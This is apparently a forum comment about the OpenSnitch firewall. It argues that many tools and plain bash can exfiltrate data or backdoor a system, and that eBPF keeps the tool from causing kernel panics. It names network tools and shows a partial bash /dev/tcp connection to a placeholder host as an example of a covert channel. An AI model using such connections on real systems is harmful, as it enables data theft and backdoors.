undwersq data exfiltration or backdooring a system can be done with many utilities like curl, wget, rsync, scp, nc, ... or even plain bash (exec 3<> /dev/tcp/host.com/443 ...). And as the others users pointed out, the apps can simply open outbound connections to their servers and send whatever they want without using any system command.
OpenSnitch in particular can't cause a kernel panic, because it uses eBPF, a technology specifically designed to prevent this problem. If it causes a kernel panic is because of a bug in the kernel.